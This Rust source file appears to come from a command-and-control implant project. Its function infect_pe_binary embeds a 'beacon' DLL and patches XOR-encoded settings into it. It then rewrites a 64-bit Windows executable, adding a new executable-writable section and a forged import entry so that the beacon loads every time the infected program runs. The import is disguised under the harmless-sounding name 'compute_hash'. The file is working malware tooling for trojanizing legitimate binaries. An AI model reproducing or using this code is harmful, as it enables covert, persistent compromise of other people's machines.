use std::{
    io::{prelude::*, Error},
    path::Path,
};

use sparse_actions::payload_types::XOR_KEY;

mod pe_types;
use pe_types::*;

#[cfg(not(debug_assertions))]
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LIBRARY"));
#[cfg(debug_assertions)]
pub const SPARSE_LIBRARY: &'static [u8] =
    include_bytes!("../../target/x86_64-pc-windows-gnu/debug/sparse_windows_beacon.dll");

pub fn infect_pe_binary<BP, LP>(
    binary_path: BP,
    target_library_path: LP,
    mut sparse_parameters: Vec<u8>,
) -> Result<(), Error>
where
    BP: AsRef<Path>,
    LP: AsRef<Path>,
{
    let mut sparse_library = SPARSE_LIBRARY.to_vec();

    for b in sparse_parameters.iter_mut() {
        *b = *b ^ (XOR_KEY as u8);
    }

    for i in 0..(sparse_library.len() - sparse_parameters.len()) {
        if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
            sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
        }
    }

    std::fs::write(&target_library_path, sparse_library)?;

    let mut binary = std::fs::OpenOptions::new()
        .read(true)
        .write(true)
        .truncate(false)
        .open(&binary_path)
        .expect("Could not open binary path for infecting");

    let mut binary_data = Vec::new();
    binary.read_to_end(&mut binary_data)?;

    let header: &DOSHeader = unsafe { &*(binary_data.as_ptr() as *const _) };

    let coff_header: &COFFHeader = unsafe {
        &*(binary_data
            .as_ptr()
            .offset(header.coff_header_offset as isize) as *const _)
    };

    if coff_header.magic != *b"PE\x00\x00" {
        eprintln!("Could not find or parse COFF header!");
        panic!();
    }

    let optional_header: &PEHeader = unsafe {
        let offset =
            header.coff_header_offset as isize + std::mem::size_of::<COFFHeader>() as isize;
        &*(binary_data.as_ptr().offset(offset) as *const _)
    };

    if optional_header.magic != 0x020B {
        eprintln!("Binary is not a 64 bit PE!");
        panic!();
    }

    let section_headers: &[SectionHeader] = unsafe {
        let offset = header.coff_header_offset as isize
            + (std::mem::size_of::<COFFHeader>() + std::mem::size_of::<PEHeader>()) as isize;

        let ptr = binary_data.as_ptr().offset(offset) as *const _;
        std::slice::from_raw_parts(ptr, coff_header.num_sections as usize)
    };

    let section_headers_copy = section_headers.to_vec();

    let headers_end = header.coff_header_offset as usize
        + std::mem::size_of::<COFFHeader>()
        + std::mem::size_of::<PEHeader>()
        + (std::mem::size_of::<SectionHeader>() * coff_header.num_sections as usize);

    let mut headers_bytes = binary_data[..headers_end].to_vec();

    let header: &mut DOSHeader = unsafe { &mut *(headers_bytes.as_mut_ptr() as *mut _) };

    let coff_header: &mut COFFHeader = unsafe {
        &mut *(headers_bytes
            .as_mut_ptr()
            .offset(header.coff_header_offset as isize) as *mut _)
    };

    let optional_header: &mut PEHeader = unsafe {
        let offset =
            header.coff_header_offset as isize + std::mem::size_of::<COFFHeader>() as isize;
        &mut *(headers_bytes.as_mut_ptr().offset(offset) as *mut _)
    };

    let section_headers: &mut [SectionHeader] = unsafe {
        let offset = header.coff_header_offset as isize
            + (std::mem::size_of::<COFFHeader>() + std::mem::size_of::<PEHeader>()) as isize;

        let ptr = headers_bytes.as_mut_ptr().offset(offset) as *mut _;
        std::slice::from_raw_parts_mut(ptr, coff_header.num_sections as usize)
    };

    struct Section {
        name: [u8; 8],
        section_header_idx: usize,
        data: Vec<u8>,
    }

    let mut sections = section_headers.iter().collect::<Vec<_>>();

    sections.sort_by_key(|s| s.virtual_address);

    let mut sections = sections
        .iter()
        .enumerate()
        .map(|(section_header_idx, sechdr)| Section {
            name: sechdr.name.clone(),
            section_header_idx,
            data: binary_data[sechdr.raw_data_ptr as usize
                ..(sechdr.raw_data_ptr + sechdr.raw_data_size) as usize]
                .to_vec(),
        })
        .collect::<Vec<_>>();

    // modify the PE

    let Some(import_table_section_idx) = section_headers.iter().position(|section| {
        (section.raw_data_ptr..(section.raw_data_ptr + section.raw_data_size))
            .contains(&optional_header.import_table.virtual_address)
    }) else {
        eprintln!("Could not find section with import table");
        panic!();
    };

    println!(
        "Section with import table: {:?}",
        std::str::from_utf8(&section_headers[import_table_section_idx].name)
    );

    let start_index = optional_header.import_table.virtual_address
        - section_headers[import_table_section_idx].virtual_address
        + section_headers[import_table_section_idx].raw_data_ptr;

    let import_descriptors: *const ImportDescriptor =
        unsafe { binary_data.as_ptr().offset(start_index as isize) as *const _ };

    let mut import_descriptor_count = 0;

    println!(
        "Counting import table descriptors from {:x}",
        optional_header.import_table.virtual_address
    );

    while unsafe {
        (*import_descriptors.offset(import_descriptor_count)).ilt_rva != 0
            || (*import_descriptors.offset(import_descriptor_count)).time_date_stamp != 0
            || (*import_descriptors.offset(import_descriptor_count)).forwarder_chain != 0
            || (*import_descriptors.offset(import_descriptor_count)).name != 0
            || (*import_descriptors.offset(import_descriptor_count)).first_thunk != 0
    } {
        import_descriptor_count += 1;
    }

    let Some(new_virtual_address) = section_headers_copy
        .iter()
        .map(|sh| sh.virtual_address + sh.virtual_size)
        .max()
    else {
        eprintln!("Somehow, there were no section headers before now");
        panic!();
    };

    let Some(first_section_loc) = section_headers_copy.iter().map(|sh| sh.raw_data_ptr).min()
    else {
        eprintln!("Somehow, there were no section headers before now");
        panic!();
    };

    if (first_section_loc as usize) < headers_bytes.len() + std::mem::size_of::<SectionHeader>() {
        eprintln!("There is not enough room to add a new section header!");
        panic!();
    }

    let new_virtual_address = new_virtual_address + optional_header.section_align;
    let new_virtual_address =
        new_virtual_address - (new_virtual_address % optional_header.section_align);

    let new_raw_address = (binary_data.len() as u32) + optional_header.file_align;
    let new_raw_address = new_raw_address - (new_raw_address % optional_header.file_align);

    let new_section_size = ((import_descriptor_count as u32 + 2) * std::mem::size_of::<ImportDescriptor>() as u32) // space for new import table
            + (2 * 2 * std::mem::size_of::<ImageThunkData>() as u32) // space for new thunks to import compute_hash
            + 256; // space for the name of the library

    let new_section_size_aligned = new_section_size + optional_header.file_align;
    let new_section_size_aligned =
        new_section_size_aligned - (new_section_size % optional_header.file_align);

    let mut new_section_buffer = vec![0; std::mem::size_of::<SectionHeader>()];
    let new_section: &mut SectionHeader =
        unsafe { &mut *(new_section_buffer.as_mut_ptr() as *mut SectionHeader) };

    new_section.name = *b".import\0";
    new_section.virtual_size = new_section_size;
    new_section.virtual_address = new_virtual_address;
    new_section.raw_data_size = new_section_size_aligned;
    new_section.raw_data_ptr = new_raw_address;
    new_section.relocations_ptr = 0x0;
    new_section.line_numbers_ptr = 0x0;
    new_section.num_relocations = 0x0;
    new_section.num_line_nums = 0x0;
    new_section.characteristics = 0xE0000060;

    coff_header.num_sections += 1;
    optional_header.image_size +=
        optional_header.file_align * (new_section_size / optional_header.file_align);

    println!("Adding new section header!");

    headers_bytes.extend(new_section_buffer);

    let header: &mut DOSHeader = unsafe { &mut *(headers_bytes.as_mut_ptr() as *mut _) };

    let coff_header: &mut COFFHeader = unsafe {
        &mut *(headers_bytes
            .as_mut_ptr()
            .offset(header.coff_header_offset as isize) as *mut _)
    };

    let optional_header: &mut PEHeader = unsafe {
        let offset =
            header.coff_header_offset as isize + std::mem::size_of::<COFFHeader>() as isize;
        &mut *(headers_bytes.as_mut_ptr().offset(offset) as *mut _)
    };

    let section_headers: &mut [SectionHeader] = unsafe {
        let offset = header.coff_header_offset as isize
            + (std::mem::size_of::<COFFHeader>() + std::mem::size_of::<PEHeader>()) as isize;

        let ptr = headers_bytes.as_mut_ptr().offset(offset) as *mut _;
        std::slice::from_raw_parts_mut(ptr, coff_header.num_sections as usize)
    };

    let import_descriptors =
        unsafe { std::slice::from_raw_parts(import_descriptors, import_descriptor_count as usize) }
            .to_vec();

    let mut import_section = Section {
        name: *b".import\0",
        section_header_idx: section_headers.len() - 1,
        data: vec![],
    };

    import_section.data.extend(
        unsafe {
            std::slice::from_raw_parts(
                import_descriptors.as_ptr() as *const u8,
                std::mem::size_of::<ImportDescriptor>() * import_descriptors.len(),
            )
        }
        .to_vec(),
    );

    let new_import_directory_offset = import_section.data.len();
    import_section
        .data
        .extend(vec![0; 2 * std::mem::size_of::<ImportDescriptor>()]);

    let new_int_offset = import_section.data.len();
    import_section
        .data
        .extend(vec![0; 2 * std::mem::size_of::<ImageThunkData>()]);

    let new_iat_offset = import_section.data.len();
    import_section
        .data
        .extend(vec![0; 2 * std::mem::size_of::<ImageThunkData>()]);

    unsafe {
        let iat = import_section
            .data
            .as_mut_ptr()
            .offset(new_iat_offset as isize);

        *iat = 0x02;
        *(iat.offset(7)) = 0x80;
    };

    let file_name = target_library_path
        .as_ref()
        .file_name()
        .expect("library path must not be a root directory");

    let lib_name_offset = import_section.data.len();
    import_section.data.extend(file_name.as_encoded_bytes());
    import_section.data.push(0x00);

    let lib_func_name_offset = import_section.data.len();
    import_section.data.push(0x02);
    import_section.data.push(0x00);
    import_section.data.extend(b"compute_hash");

    import_section
        .data
        .extend(&vec![0u8; 256 - (file_name.len() + 15)]);

    import_section.data.extend(&vec![
        0u8;
        new_section_size_aligned as usize
            - import_section.data.len()
    ]);

    let new_import_directory_ptr = unsafe {
        &mut *(import_section
            .data
            .as_mut_ptr()
            .offset(new_import_directory_offset as isize) as *mut ImportDescriptor)
    };

    let import_section_header = &section_headers[section_headers.len() - 1];

    import_section.data[new_int_offset..new_int_offset + 8].copy_from_slice(&u64::to_le_bytes(
        (import_section_header.virtual_address + lib_func_name_offset as u32) as u64,
    ));

    new_import_directory_ptr.ilt_rva =
        import_section_header.virtual_address + new_int_offset as u32;
    new_import_directory_ptr.first_thunk =
        import_section_header.virtual_address + new_iat_offset as u32;
    new_import_directory_ptr.name = import_section_header.virtual_address + lib_name_offset as u32;

    optional_header.import_table.virtual_address = import_section_header.virtual_address;

    sections.push(import_section);

    // rebuild the PE

    let mut target = std::fs::OpenOptions::new()
        .write(true)
        .truncate(true)
        .create(true)
        .open(binary_path.as_ref())?;

    target.write_all(&headers_bytes)?;

    let mut curr_ptr = headers_bytes.len();

    for section in &sections {
        let header = section_headers[section.section_header_idx];

        println!("{:?}", std::str::from_utf8(&header.name));
        let padding_needed = header.raw_data_ptr as usize - curr_ptr;

        target.write_all(&vec![0; padding_needed])?;
        curr_ptr = header.raw_data_ptr as usize;

        target.write_all(&section.data)?;
        curr_ptr += section.data.len();
    }

    Ok(())
}